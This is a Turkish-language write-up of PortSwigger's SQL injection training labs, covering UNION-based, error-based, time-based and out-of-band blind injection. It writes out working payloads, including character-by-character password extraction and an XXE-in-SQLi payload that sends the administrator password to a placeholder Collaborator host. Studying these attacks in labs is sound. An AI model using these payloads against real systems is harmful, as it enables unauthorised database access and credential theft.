PortSwigger SQL Injection Labs
SQL Injection, tehdit aktörlerinin bir uygulamanın veritabanına yapılan sorguları manipüle etmesidir.
Genellikle normalde görüntülenmeyen verilerin görüntülenmesine neden olmaktadır. Bu veriler, diğer kullanıcıların verileri veya uygulamanın erişebildiği diğer veriler olabilmektedir. Tehdit aktörleri çoğu durumlarda verileri silebilir, değiştirebilir ve uygulamanın içeriğinde veya davranışında kalıcı değişikliklere neden olabilmektedir.
Başarılı bir SQL Injection saldırısı, yetkisiz bir şekilde hassas verilere (Parola veya Kredi kartı bilgileri ) erişilmesine neden olmaktadır. Son yıllarda gerçekleşen veri sızıntıları SQL Injection saldırılarından kaynaklanmaktadır. Kurum ve kuruluşlarda itibar ve para kaybına neden olmaktadır.
Lab 1 Lab 2 Lab 3 Lab 4 Lab 5 Lab 6 Lab 7 Lab 8 Lab 9 Lab 10 Lab 11 Lab 12 Lab 13 Lab 14 Lab 15 Lab 16
Lab-1 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Bu laboratuvardaki product category filtresinde SQLi zafiyeti bulunmaktadır. SQLi saldırısı gerçekleştirerek laboratuvarın çözülmesi istenmektedir.
Daha önce öğrendiğimiz üzere kategori filtresinde bir zafiyet bulunmaktadır.
Laboratuvara erişip herhangi bir kategoriyi seçtiğimizde URL aşağıdaki gibi olmaktadır.
Kategori kısmına ‘+OR+1=1– payloadını eklersek eğer. “SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1” olan sorgu “SELECT * FROM products WHERE category = ‘‘ OR 1=1– ‘ AND released = 1” haline dönüşmektedir. “–” karakterlerinden sonraki sorgular yorum satırı olmaktadır ve istenen kategori değeri tırnak ile atlatılmaktadır. Sonuç olarak hedeflenen “1=1“ sorgusu işlenmektedir.
Lab-2 SQL injection vulnerability allowing login bypass
Bu laboratuvarın login fonksiyonunda SQLi zafiyeti bulunmaktadır. Laboratuvar, SQLi saldırısı gerçekleştirerek administrator hesabı ile bağlanmamızı istemektedir.
My account kısmına geldiğimizde bir login ekranı bizi karşılamaktadır. Hedeflenen administrator hesabı username kısmına yazılıp, parola kısmına da bir önceki laboratuvarda öğrendiğimiz payloadı yazarak ilgili hesabın parolasını atlatıp 1=1 —> True döndürerek zafiyet sömürülmektedir.
Lab-3 SQL injection UNION attack, determining the number of columns returned by the query
Bu laboratuvarın product category filtresinde SQLi zafiyeti bulunmaktadır. Gönderilen sorgunun yanıtı uygulamanın yanıtında döndürülmektedir. Bu yüzden UNION saldırısı kullanılabilinir. İlk adım, sorgu tarafından döndürülen sütun sayısınının belirlenmesidir.
Zafiyetli laboratuvarda daha önce öğrenilen zafiyetli kategori filtresine gidilmektedir.
Payload eklenmemiş hali.
Zafiyetli kategori parametresine ‘+UNION+SELECT+NULL– payload’ı ekleyerek sorguyu gönderilmektedir. Sorgu eğer hata barındırmıyorsa dönen yanıtta 2 adet sütun sayısı olduğu tespit edilecektir.
2’den fazla sütun sayısı olduğunu anladıktan sonra payload’a bir adet daha NULL ekleyerek denemeye devam edilmektedir.
Dönen yanıtta herhangi bir hata belirtilmediğinde 3 adet sütun sayısı olduğu tespit edilmektedir ve laboratuvar tamamlanmaktadır.
Lab-4 SQL injection UNION attack, finding a column containing text
Laboratuvardın product category filtresinde bir SQLi zafiyeti bulunmaktadır. Gerçekleştirilen sorgu uygulamanın yanıtında dönmektedir ve böylelikle UNION saldırısı gerçekleştirilebilmektedir. Saldırının ilk adımı sorgu tarafından döndürülen sütun sayısının belirlenmesidir. İkinci adım ise hangi sütunun string değer döndürdüğüdür.
Kategori seçerek bir önceki lab’da öğrendiğimiz tekniği kullanarak sütun sayısı belirlenmelidir. Alınan her hatada NULL miktarı arttırılarak denenmektedir ve hata alınmayan durumda sütun sayısı tespit edilmektedir.
3 adet sütun bulunmaktadır.
Bulunan sütunların hangilerinin string değer döndürdüğü tespit edilmelidir. Uygulamanın bize verdiği string değer NULL değerleri yerine sırasıyla yazılarak hangi sütunun string değer döndürdüğü tespit edilmektedir.
Tespit edilen sütunlardan 1. sütun, string değeri döndürdüğü tespit edilmektedir ve laboratuvar tamamlanmaktadır.
Lab-5 SQL injection UNION attack, retrieving data from other tables
Bu laboratuvarın product category filtresinde SQLi zafiyeti bulunmaktadır. Sorgunun yanıtı uygulamanın response’unda dönmektedir. Önceki lab’larda öğrenilen teknikler ile hedef sistemdeki users tablosundaki username ve password bilgileri ele geçirilmelidir. Son adım olarak administrator kullanıcısı ile giriş yapılmalıdır.
İlk olarak kategori filtresine payload uygulanarak sütun sayısı belirlenmektedir.
2 adet sütun bulunmaktadır.
Tespit edilen sütunların string değer döndürüp döndürmedi tespit edilmektedir.
Açıklama kısmında bize verilen bilgileri kullanarak users tablosundaki username ve password bilgileri tespit edilen SQLi zafiyeti ile elde edilmektedir.
Administrator bilgileri ile oturum açılarak lab tamamlanmaktadır.
Lab-6 SQL injection UNION attack, retrieving multiple values in a single column
Bu laboratuvarın product category filtresinde SQLi zafiyeti bulunmaktadır. Uygulanan sorgunun yanıtı uygulamanın yanıtında dönmektedir böylelikle UNION saldırısı kullanılabilmektedir. users tablosundaki username ve password bilgileri ele geçirilerek administrator kullanıcısı ile oturum açıldığında laboratuvar tamamlanmaktadır.
Birden fazla sütun tespit edilmektedir fakat sadece biri string değer döndürmektedir.
Hedefimiz hem username hemde password elde etmek olduğundan bir string değer döndüren sütundan 2 string değer çekmeliyiz.
Aşağıdaki görsel, birden fazla string değeri concatenate uygulayarak tek bir string değere dönüştürmeyi göstermektedir.
Payload üzerinde concat işlemi gerçekleştirerek tek bir string çıktısında hem username hem de password bilgileri elde edilmektedir.
Lab-7 SQL injection attack, querying the database type and version on Oracle
Laboratuvardaki product category filtresinde SQLi zafiyeti bulunmaktadır. Lab’ı tamamlamak için veritabanı versiyonu elde edilmelidir.
Oracle veritabanlarında SELECT parametresi kullanıldığında özellikle FROM ile bir tablo belirtilmelidir. Oracle da bunun için “dual” isimli bir tablo bulundurmaktadır.
İlk adım olarak Sütun sayısı belirlenmektedir.
String değer döndürüp döndürmediği tespit edilmektedir.
Lab’ın isteği üzerine veritabanı sürüm bilgisini de barındıran banner bilgilerini elde etmemiz beklenmekte. Aşağıdaki cheat-sheet görselinde farklı veritabanlarının sürüm bilgisinin nasıl elde edileceği gösterilmektedir.
Lab-8 SQL injection attack, querying the database type and version on MySQL and Microsoft
Bu laboratuvardadaki product category filtresinde SQLi zafiyeti bulunmaktadır. Lab, veritabanı sürüm bilgisini istemektedir.
İlk adım olan sütun sayısı belirlemek için BurpSuite aracı yardımı ile request yakalanmaktadır ve NULL sayısı arttırılarak sütun sayısı belirlenmektedir.
2 adet sütun tespit edilmektedir ve ikisi de string değer döndürmektedir.
Hedef sistem de yorum satırı oluşturmak için kullanılan “–” yaklaşımı çalışmamaktadır. Bu yüzden diğer yaklaşımlar düşünüldüğünde “#” karakteri yardımcı olmaktadır.
Lab bizden hedef sistemin sürüm bilgilerini tespit etmemizi beklemekte bu yüzden MySQL ve Microsoft’ta benzer olan sorgu kullanılmaktadır.
Lab-9 SQL injection attack, listing the database contents on non-Oracle databases
Bu laboratuvarın product category filtresinde SQLi zafiyeti bulunmaktadır. Lab administrator kullanıcısı ile sisteme giriş yapıldığında tamamlanmaktadır.
Sütun sayısı belirleme ve belirlenen sütunların string değer döndürüp döndürmediği tespit edilmektedir.
Kullanıcı adı ve parola elde etmek için bahsi geçen bilgileri barındıran tablonun ismi gerekmektedir. information_schema veritabanındaki tüm tabloları barındırmaktadır böylelikle id, pw barındıran tablonun ismi tespit edilebilmektedir.
Şemadan veritabanındaki bütün tabloların isimleri elde edilmektedir.
Hedef tablonun ismi bulunduktan sonra içerisindeki sütun isimleri tespit edilmektedir.
Tablo ismi ve sütun isimleri tespit edildi. Son olarak tablodaki verileri okuyarak administrator kullanıcısının parolası tespit edilmektedir.
Lab-10 SQL injection attack, listing the database contents on Oracle
Lab-11 Blind SQL injection with conditional responses
Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.
SQL sorgusunun yanıtı dönmez ve herhangi bir hata mesajı görüntülenmez. Ancak sorgu herhangi bir satır döndürürse uygulama “Tekrar hoş geldiniz” mesajı vermektedir.
Gönderilen sorgu başarıyla döndüğünde aşağıdaki görseldeki gibi “Welcome Back!” çıktısı alınmaktadır.
Gönderilen sorgu yanlış olduğunda ve yanıt dönmediğinde Welcome Back! yazısı görüntülenmemektedir.
1=1 mantıksal eşitliği gibi düşünerek users tablosunda en başta bulunan kullanıcının ilk harfinin “a” olup olmadığını kontrol eden bir sorgu yazılmaktadır.
Kullanıcı adını tahmin etmek için a harfleri yerine admin-administrator gibi potansiyel kullanıcı adlarını denendiğinde “administrator” kullanıcısı tespit edilmektedir.
Kullanıcı adı tespitinden sonra ilgili kullanıcının parolasının tespit edilmesi gerekmektedir. Yine aynı 1=1 mantıksal eşitliği düşünülerek ilgili kullanıcının parolasının kaç haneli olduğu tespit edilmektedir.
Parolanın kaç basamak olduğu tespit edildikten sonra sırada parolanın kendisinin tespiti bulunmaktadır. SUBSTRING kullanarak ilgili hesabın parolası basamak basamak tespit edilmektedir.
“a” karakteri değiştirilerek parolanın ilk basamağı tespit edilmeye çalışılmaktadır. Eğer “Welcome Back!” yazısı response da dönerse basamak tespit edilmiştir. Sürecin daha hızlı ilerlemesi için Intruder kullanılmaktadır. Respons’ların uzunluğundaki değişim yanıtın içerisinde “Welcome Back!” olup olmadığının bilgisini vermektedir.
2.Basamak
Intuder’da bulunan Cluster Bomb saldırısı ile parolanın her basamağı için a-z, A-Z, 0-9 karakterleri teker teker denenmektedir ve 20 basamaklı parola tespit edilmektedir.
Lab-12 Blind SQL injection with conditional errors
Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.
SQL sorgusunun sonucu herhangi bir şekilde dönmez fakat SQL sorgusu bir hataya neden olursa özel bir hata mesajı döndürür.
Hataya neden olan SQL sorgusu:
Hatasız SQL sorgusu:
DB’nin oracle olduğu tespit edilmiştir.
SQL sorgusunun doğru olup olmaması db için çıkarım sağlamaya yaradığından artık kullanıcıların ve parolalarının bulunduğu veriler tespit edilmektedir.
users tablosunun tespiti:
Kullanıcı adı tespiti:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Eğer users tablosunda bir administrator kullanıcı varsa CASE çalışmaktadır ve onun koşulu da 1=1 olduğundan 1’i 0’a bölmektedir böylelikle bir hata oluşmaktadır. Yani ilgili tabloda beklenen ismi kullanıcı adını bulduğumuzda bir hata almalıyız diğer türlü hata oluşmamakta.
Tespit edilen administrator kullanıcısının parolası gerekmektedir. Kullanıcı adı tespitinde kullanılan payload parola tespiti içinde kullanılmaktadır.
'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
administrator kullanıcısının olduğunu biliyoruz, eğer parolası 1 den büyükse hata verecektir.
Parolanın 20 basamaklı olduğu tespit edildi.
Parola tespiti:
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Eğer ilgili parolanın ilk basamağı “a” karakteri ise hata mesajı dönecektir. Bu yaklaşımla ve bir önceki lab da öğrendiğimiz teknikle ilgili hesabın parolası tespit edilmektedir.
Lab-13 Blind SQL injection with time delays
Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.
SQL sorgusu yanıtı dönmemektedir ve herhangi bir ayırt edici response içermemektedir. Fakat sorgu senkronize olarak işlendiğinden veri çıkarmak için time delay’ı tetiklemek kullanılabilmektedir.
Lab-14 Blind SQL injection with time delays and information retrieval
Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.
SQL sorgusu yanıtı dönmemektedir ve herhangi bir ayırt edici response içermemektedir. Fakat sorgu senkronize olarak işlendiğinden veri çıkarmak için time delay’ı tetiklemek kullanılabilmektedir.
users tablosunda administrator kullanıcısı varsa eğer pg_sleep(10) fonksiyonu çalışmaktadır ve response geç dönmektedir aksi halde response hemen gelmektedir. Bu durumdan çıkarım sağlayarak administrator kullanıcısının var olduğu tespit edilmektedir.
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Yukarıdaki sorguda pg_sleep’in çalışması için kullanıcı adının hem administrator olması hemde parolanın 1 basamaktan fazla olması gerekmektedir eğer iki şart da true olursa pg_sleep fonksiyonu çalışacaktır. Response delaylı geleceğinden çıkarım sağlanarak öncelikle kaç basamaklı bir parola olduğu daha sonrasında parolanın kendisi tespit edilecektir. Parola 20 basamaklıdır.
Aşağıdaki payload ile 20 basamaklı parola Cluster Bomb saldırısı ile tespit edilmektedir.
'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Lab-15 Blind SQL injection with out-of-band interaction
Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.
SQL sorgusu yanıtı dönmemektedir ve herhangi bir ayırt edici response içermemektedir. Fakat dış bir domain ile iletişim oluşabilmektedir.
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
Daha sonra collaborator’u kontrol ettiğimizde istekler görünmektedir.
Lab-16 Blind SQL injection with out-of-band data exfiltration
Bu laboratuvarda Blind SQLi bulunmaktadır. Uygulama analiz için bir tracking cookie kullanmaktadır ve gönderilen cookie bilgisinin değerini içeren bir SQL sorgusu gerçekleştirmektedir.
SQL sorgusu yanıtı dönmemektedir ve herhangi bir ayırt edici response içermemektedir. Fakat dış bir domain ile iletişim oluşabilmektedir.
Basit XXE tekniği ile SQLi birleştirerek dış domain’e administrator’ün parola bilgisi sızdırılmaktadır.
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--